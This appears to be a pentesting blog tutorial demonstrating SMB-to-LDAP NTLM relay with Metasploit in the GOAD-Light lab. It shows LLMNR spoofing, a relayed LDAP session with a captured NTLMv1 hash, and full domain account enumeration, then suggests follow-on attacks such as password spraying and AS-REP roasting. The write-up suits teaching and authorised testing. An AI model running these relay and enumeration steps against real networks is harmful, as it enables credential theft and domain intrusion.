9 minutes
🌐 SMB to LDAP relay with the Metasploit Framework
Introduction
Modules that enable pentesters to perform SMB relaying to LDAP or HTTP have been added some time ago in the Metasploit (MSF) framework, reducing relying on third party tools such as Responder, Certipy, or ntlmrelayx from impacket. Actually, since it even includes functions for spoofing protocols like multicast DNS (mDNS) or LLMNR, everything can be done directly from Metasploit.
In this post, we will test these modules using the GOAD-Light environment, which is sufficient to illustrate the operation of these modules.
Setup of LLMNR Spoofing with Metasploit
We use the llmnr_response module. It takes a few parameters, but for the most basic usage which is to reply to every LLMNR request that passes by with our IP address, only the SPOOFIP parameter needs to be configured (and optionally the interface name to ensure listening on the correct network interface). There is a REGEX parameter that can be set to respond only if the searched name matches this regex, enabling selective poisoning.
msf6 auxiliary(spoof/llmnr/llmnr_response) > set SPOOFIP 192.168.56.117
SPOOFIP => 192.168.56.117
msf6 auxiliary(spoof/llmnr/llmnr_response) > run
[*] Auxiliary module running as background job 1.
msf6 auxiliary(spoof/llmnr/llmnr_response) > /usr/share/metasploit-framework/lib/msf/core/exploit/capture.rb:123: warning: undefining the allocator of T_DATA class PCAPRUB::Pcap
[*] LLMNR Spoofer started. Listening for LLMNR requests with REGEX "(?-mix:.*)" ...
SMB Relay to LDAP Configuration
Next, we configure Metasploit to perform an SMB to LDAP relay attack. For this, we use the smb_to_ldap module, which is very straightforward and requires minimal configuration:
msf6> use smb_to_ldap
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/server/relay/smb_to_ldap . normal No Microsoft Windows SMB to LDAP Relay
Interact with a module by name or index. For example info 0, use 0 or use auxiliary/server/relay/smb_to_ldap
[*] Using auxiliary/server/relay/smb_to_ldap
msf6 auxiliary(server/relay/smb_to_ldap) > show options
Module options (auxiliary/server/relay/smb_to_ldap):
Name Current Setting Required Description
---- --------------- -------- -----------
CAINPWFILE no Name of file to store Cain&Abel hashes in. Only supports NTLMv1 hashes. Can be a path.
JOHNPWFILE no Name of file to store JohnTheRipper hashes in. Supports NTLMv1 and NTLMv2 hashes, each of which is stored in separate files. Can also be a
path.
RELAY_TIMEOUT 25 yes Seconds that the relay socket will wait for a response after the client has initiated communication.
RHOSTS yes Target address range or CIDR to relay to
RPORT 389 yes The target port
SMBDomain WORKGROUP yes The domain name used during SMB exchange.
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. Must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 445 yes The local port to listen on.
SRV_TIMEOUT 25 yes Seconds that the server socket will wait for a response after the client has initiated communication.
Auxiliary action:
Name Description
---- -----------
CREATE_LDAP_SESSION Create an LDAP session
In our case, the only mandatory parameter to set is RHOSTS, which corresponds to the target, in this case a LDAP server running on a Domain Controler (192.168.56.10):
msf6 auxiliary(server/relay/smb_to_ldap) > set rhosts 192.168.56.10
rhosts => 192.168.56.10
We run the module and wait. A few moments later, a request will be relayed by Metasploit to the LDAP server. By default, an LDAP session is created, allowing us to encapsulate additional queries (similar to an ntlmrelayx socks proxy).
msf6 auxiliary(server/relay/smb_to_ldap) >
[+] 192.168.56.11 llmnr - Bravos. matches regex, responding with 192.168.56.117
[*] New request from 192.168.56.11
[*] Received request for NORTH\robb.stark
[*] Relaying to next target ldap://192.168.56.10:389
[+] Identity: NORTH\robb.stark - Successfully authenticated against relay target ldap://192.168.56.10:389
[SMB] NTLMv1-SSP Client : 192.168.56.10
[SMB] NTLMv1-SSP Username : NORTH\robb.stark
[SMB] NTLMv1-SSP Hash : robb.stark::NORTH:247cb5335f4d41b300000000000000000000000000000000:343a7ca8eed9613b31a59dd2dd9940e58937b329e0417090:ee1e53bea7b35bd1
[+] Relay succeeded
[*] LDAP session 1 opened (192.168.56.117:46379 -> 192.168.56.10:389) at 2025-08-06 15:36:42 +0200
[*] Received request for NORTH\robb.stark
[*] Identity: NORTH\robb.stark - All targets relayed to
[*] New request from 192.168.56.11
[*] Received request for NORTH\robb.stark
[*] Identity: NORTH\robb.stark - All targets relayed to
[...]
msf6 auxiliary(server/relay/smb_to_ldap) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 ldap LDAP robb.stark @ 192.168.56.10:389 192.168.56.117:46379 -> 192.168.56.10:389 (192.168.56.10)
The module prints the user’s hash, so we can attempt to crack it, but most importantly, we now have an active LDAP session. We can also note that LLMNR poisoning worked successfully.
A limitation to keep in mind: this will not work in environments where SMB connections are signed.
Using the LDAP Session
Now, what can we do with this session? The module documentation mentions ideas like doing an RBCD attack, but we can also start by retrieving a list of users with the ldap_query module.
This module only requires one parameter: SESSION, similar to most post-exploitation modules that can run through a meterpreter session, except here it is an LDAP session.
msf6 auxiliary(gather/ldap_query) > show options
Module options (auxiliary/gather/ldap_query):
Name Current Setting Required Description
---- --------------- -------- -----------
BASE_DN no LDAP base DN if already known
OUTPUT_FORMAT table yes Output format (csv, table, json)
SSL false no Enable SSL on LDAP connection
When ACTION is RUN_QUERY_FILE:
Name Current Setting Required Description
---- --------------- -------- -----------
QUERY_FILE_PATH no Path to JSON or YAML file with queries
When ACTION is RUN_SINGLE_QUERY:
Name Current Setting Required Description
---- --------------- -------- -----------
QUERY_ATTRIBUTES no Comma-separated list of attributes to retrieve
QUERY_FILTER no Filter to apply to LDAP query
Used when connecting via existing SESSION:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION no The session to run this module on
When making a new connection via RHOSTS:
Name Current Setting Required Description
---- --------------- -------- -----------
LDAPDomain no Domain to authenticate to
LDAPPassword no Password for authentication
LDAPUsername no Username for authentication
RHOSTS no Target host(s)
RPORT 389 yes Target port
Auxiliary action:
Name Description
---- -----------
ENUM_ACCOUNTS Dump info about all known user accounts in the domain.
msf6 auxiliary(gather/ldap_query) > set SESSION 1
SESSION => 1
Once launched, the query give results instantly:
msf6 auxiliary(gather/ldap_query) > run
[*] 192.168.56.10:389 Discovered base DN: DC=sevenkingdoms,DC=local
CN=Administrator,CN=Users,DC=sevenkingdoms,DC=local
===================================================
Name Attributes
---- ----------
badpwdcount 0
description Built-in account for administering the computer/domain
lastlogoff 1601-01-01 00:00:00 UTC
lastlogon 2025-02-27 15:09:16 UTC
logoncount 40
memberof CN=Group Policy Creator Owners,CN=Users,DC=sevenkingdoms,DC=local
\_ CN=Domain Admins,CN=Users,DC=sevenkingdoms,DC=local
\_ CN=Enterprise Admins,CN=Users,DC=sevenkingdoms,DC=local
\_ CN=Schema Admins,CN=Users,DC=sevenkingdoms,DC=local
\_ CN=Administrators,CN=Builtin,DC=sevenkingdoms,DC=local
name Administrator
objectsid S-1-5-21-2109772751-3147913912-4186721631-500
pwdlastset
samaccountname Administrator
useraccountcontrol 66048
CN=Guest,CN=Users,DC=sevenkingdoms,DC=local
===========================================
Name Attributes
---- ----------
badpwdcount 0
description Built-in account for guest access to the computer/domain
lastlogoff 1601-01-01 00:00:00 UTC
lastlogon 1601-01-01 00:00:00 UTC
logoncount 0
memberof CN=Guests,CN=Builtin,DC=sevenkingdoms,DC=local
name Guest
objectsid S-1-5-21-2109772751-3147913912-4186721631-501
pwdlastset
samaccountname Guest
useraccountcontrol 66082
CN=vagrant,CN=Users,DC=sevenkingdoms,DC=local
=============================================
Name Attributes
---- ----------
badpwdcount 0
description Vagrant User
displayname Vagrant
lastlogoff 1601-01-01 00:00:00 UTC
lastlogon 2025-02-27 15:09:20 UTC
logoncount 702
memberof CN=Users,CN=Builtin,DC=sevenkingdoms,DC=local
\_ CN=Administrators,CN=Builtin,DC=sevenkingdoms,DC=local
name vagrant
objectsid S-1-5-21-2109772751-3147913912-4186721631-1000
pwdlastset
samaccountname vagrant
useraccountcontrol 66048
CN=KINGSLANDING,OU=Domain Controllers,DC=sevenkingdoms,DC=local
===============================================================
Name Attributes
---- ----------
badpwdcount 0
lastlogoff 1601-01-01 00:00:00 UTC
lastlogon 2025-08-06 12:48:43 UTC
logoncount 107
memberof CN=Pre-Windows 2000 Compatible Access,CN=Builtin,DC=sevenkingdoms,DC=local
\_ CN=Cert Publishers,CN=Users,DC=sevenkingdoms,DC=local
name KINGSLANDING
objectsid S-1-5-21-2109772751-3147913912-4186721631-1001
pwdlastset
samaccountname KINGSLANDING$
useraccountcontrol 532480
CN=krbtgt,CN=Users,DC=sevenkingdoms,DC=local
============================================
Name Attributes
---- ----------
badpwdcount 0
description Key Distribution Center Service Account
lastlogoff 1601-01-01 00:00:00 UTC
lastlogon 1601-01-01 00:00:00 UTC
logoncount 0
memberof CN=Denied RODC Password Replication Group,CN=Users,DC=sevenkingdoms,DC=local
name krbtgt
objectsid S-1-5-21-2109772751-3147913912-4186721631-502
pwdlastset
samaccountname krbtgt
useraccountcontrol 514
CN=NORTH$,CN=Users,DC=sevenkingdoms,DC=local
============================================
Name Attributes
---- ----------
badpwdcount 0
lastlogoff 1601-01-01 00:00:00 UTC
lastlogon 1601-01-01 00:00:00 UTC
logoncount 0
name NORTH$
objectsid S-1-5-21-2109772751-3147913912-4186721631-1104
pwdlastset
samaccountname NORTH$
useraccountcontrol 2080
CN=tywin.lannister,OU=Crownlands,DC=sevenkingdoms,DC=local
==========================================================
Name Attributes
---- ----------
badpwdcount 0
description Tywin Lanister
lastlogoff 1601-01-01 00:00:00 UTC
lastlogon 1601-01-01 00:00:00 UTC
logoncount 0
memberof CN=Lannister,OU=Westerlands,DC=sevenkingdoms,DC=local
name tywin.lannister
objectsid S-1-5-21-2109772751-3147913912-4186721631-1112
pwdlastset
samaccountname tywin.lannister
useraccountcontrol 66048
CN=jaime.lannister,OU=Crownlands,DC=sevenkingdoms,DC=local
==========================================================
Name Attributes
---- ----------
badpwdcount 0
description Jaime Lanister
lastlogoff 1601-01-01 00:00:00 UTC
lastlogon 1601-01-01 00:00:00 UTC
logoncount 0
memberof CN=Lannister,OU=Westerlands,DC=sevenkingdoms,DC=local
name jaime.lannister
objectsid S-1-5-21-2109772751-3147913912-4186721631-1113
pwdlastset
samaccountname jaime.lannister
useraccountcontrol 66048
CN=cersei.lannister,OU=Crownlands,DC=sevenkingdoms,DC=local
===========================================================
Name Attributes
---- ----------
badpwdcount 0
description Cersei Lanister
lastlogoff 1601-01-01 00:00:00 UTC
lastlogon 1601-01-01 00:00:00 UTC
logoncount 0
memberof CN=Small Council,OU=Crownlands,DC=sevenkingdoms,DC=local
\_ CN=Baratheon,OU=Stormlands,DC=sevenkingdoms,DC=local
\_ CN=Lannister,OU=Westerlands,DC=sevenkingdoms,DC=local
\_ CN=Domain Admins,CN=Users,DC=sevenkingdoms,DC=local
\_ CN=Administrators,CN=Builtin,DC=sevenkingdoms,DC=local
name cersei.lannister
objectsid S-1-5-21-2109772751-3147913912-4186721631-1114
pwdlastset
samaccountname cersei.lannister
useraccountcontrol 66048
CN=tyron.lannister,OU=Westerlands,DC=sevenkingdoms,DC=local
===========================================================
Name Attributes
---- ----------
badpwdcount 0
description Tyron Lanister
lastlogoff 1601-01-01 00:00:00 UTC
lastlogon 1601-01-01 00:00:00 UTC
logoncount 0
memberof CN=Lannister,OU=Westerlands,DC=sevenkingdoms,DC=local
name tyron.lannister
objectsid S-1-5-21-2109772751-3147913912-4186721631-1115
pwdlastset
samaccountname tyron.lannister
useraccountcontrol 66048
CN=robert.baratheon,OU=Crownlands,DC=sevenkingdoms,DC=local
===========================================================
Name Attributes
---- ----------
badpwdcount 0
description Robert Lanister
lastlogoff 1601-01-01 00:00:00 UTC
lastlogon 1601-01-01 00:00:00 UTC
logoncount 0
memberof CN=Small Council,OU=Crownlands,DC=sevenkingdoms,DC=local
\_ CN=Baratheon,OU=Stormlands,DC=sevenkingdoms,DC=local
\_ CN=Protected Users,CN=Users,DC=sevenkingdoms,DC=local
\_ CN=Domain Admins,CN=Users,DC=sevenkingdoms,DC=local
\_ CN=Administrators,CN=Builtin,DC=sevenkingdoms,DC=local
name robert.baratheon
objectsid S-1-5-21-2109772751-3147913912-4186721631-1116
pwdlastset
samaccountname robert.baratheon
useraccountcontrol 66048
CN=joffrey.baratheon,OU=Crownlands,DC=sevenkingdoms,DC=local
============================================================
Name Attributes
---- ----------
badpwdcount 0
description Joffrey Baratheon
lastlogoff 1601-01-01 00:00:00 UTC
lastlogon 1601-01-01 00:00:00 UTC
logoncount 0
memberof CN=Baratheon,OU=Stormlands,DC=sevenkingdoms,DC=local
\_ CN=Lannister,OU=Westerlands,DC=sevenkingdoms,DC=local
name joffrey.baratheon
objectsid S-1-5-21-2109772751-3147913912-4186721631-1117
pwdlastset
samaccountname joffrey.baratheon
useraccountcontrol 66048
CN=renly.baratheon,OU=Crownlands,DC=sevenkingdoms,DC=local
==========================================================
Name Attributes
---- ----------
badpwdcount 0
description Renly Baratheon
lastlogoff 1601-01-01 00:00:00 UTC
lastlogon 1601-01-01 00:00:00 UTC
logoncount 0
memberof CN=Small Council,OU=Crownlands,DC=sevenkingdoms,DC=local
\_ CN=Baratheon,OU=Stormlands,DC=sevenkingdoms,DC=local
name renly.baratheon
objectsid S-1-5-21-2109772751-3147913912-4186721631-1118
pwdlastset
samaccountname renly.baratheon
useraccountcontrol 1114624
CN=stannis.baratheon,OU=Crownlands,DC=sevenkingdoms,DC=local
============================================================
Name Attributes
---- ----------
badpwdcount 0
description Stannis Baratheon
lastlogoff 1601-01-01 00:00:00 UTC
lastlogon 1601-01-01 00:00:00 UTC
logoncount 0
memberof CN=Small Council,OU=Crownlands,DC=sevenkingdoms,DC=local
\_ CN=Baratheon,OU=Stormlands,DC=sevenkingdoms,DC=local
name stannis.baratheon
objectsid S-1-5-21-2109772751-3147913912-4186721631-1119
pwdlastset
samaccountname stannis.baratheon
useraccountcontrol 66048
CN=petyer.baelish,OU=Crownlands,DC=sevenkingdoms,DC=local
=========================================================
Name Attributes
---- ----------
badpwdcount 0
description Petyer Baelish
lastlogoff 1601-01-01 00:00:00 UTC
lastlogon 1601-01-01 00:00:00 UTC
logoncount 0
memberof CN=Small Council,OU=Crownlands,DC=sevenkingdoms,DC=local
name petyer.baelish
objectsid S-1-5-21-2109772751-3147913912-4186721631-1120
pwdlastset
samaccountname petyer.baelish
useraccountcontrol 66048
CN=lord.varys,OU=Crownlands,DC=sevenkingdoms,DC=local
=====================================================
Name Attributes
---- ----------
badpwdcount 0
description Lord Varys
lastlogoff 1601-01-01 00:00:00 UTC
lastlogon 1601-01-01 00:00:00 UTC
logoncount 0
memberof CN=Small Council,OU=Crownlands,DC=sevenkingdoms,DC=local
name lord.varys
objectsid S-1-5-21-2109772751-3147913912-4186721631-1121
pwdlastset
samaccountname lord.varys
useraccountcontrol 66048
CN=maester.pycelle,OU=Crownlands,DC=sevenkingdoms,DC=local
==========================================================
Name Attributes
---- ----------
badpwdcount 0
description Maester Pycelle
lastlogoff 1601-01-01 00:00:00 UTC
lastlogon 1601-01-01 00:00:00 UTC
logoncount 0
memberof CN=Small Council,OU=Crownlands,DC=sevenkingdoms,DC=local
name maester.pycelle
objectsid S-1-5-21-2109772751-3147913912-4186721631-1122
pwdlastset
samaccountname maester.pycelle
useraccountcontrol 66048
[*] Query returned 17 results.
[*] Auxiliary module execution completed
The module also supports JSON or CSV output, enabling automated use with other tools for further attacks (e.g., password spraying).
Now, you can check if any users have passwords stored in their LDAP description, attempt password spraying, or see if any accounts do not require Kerberos pre-authentication (AS-REProast attack). Besides simple account enumeration, ldap_query offers many other operations, such as:
- ENUM_COMPUTERS
- ENUM_AD_CS_CAS
- ENUM_AD_CS_CERT_TEMPLATES
- ENUM_GMSA_HASHES
- ENUM_LAPS_PASSWORDS
- ENUM_UNCONSTRAINED_DELEGATION
- ENUM_MACHINE_ACCOUNT_QUOTA
Custom LDAP queries can also be executed.
Conclusion
These modules are fully functional but not yet as reliable or comprehensive as the combined Responder + Impacket suite. However, for most common pentesting scenarios, it is possible to operate without them.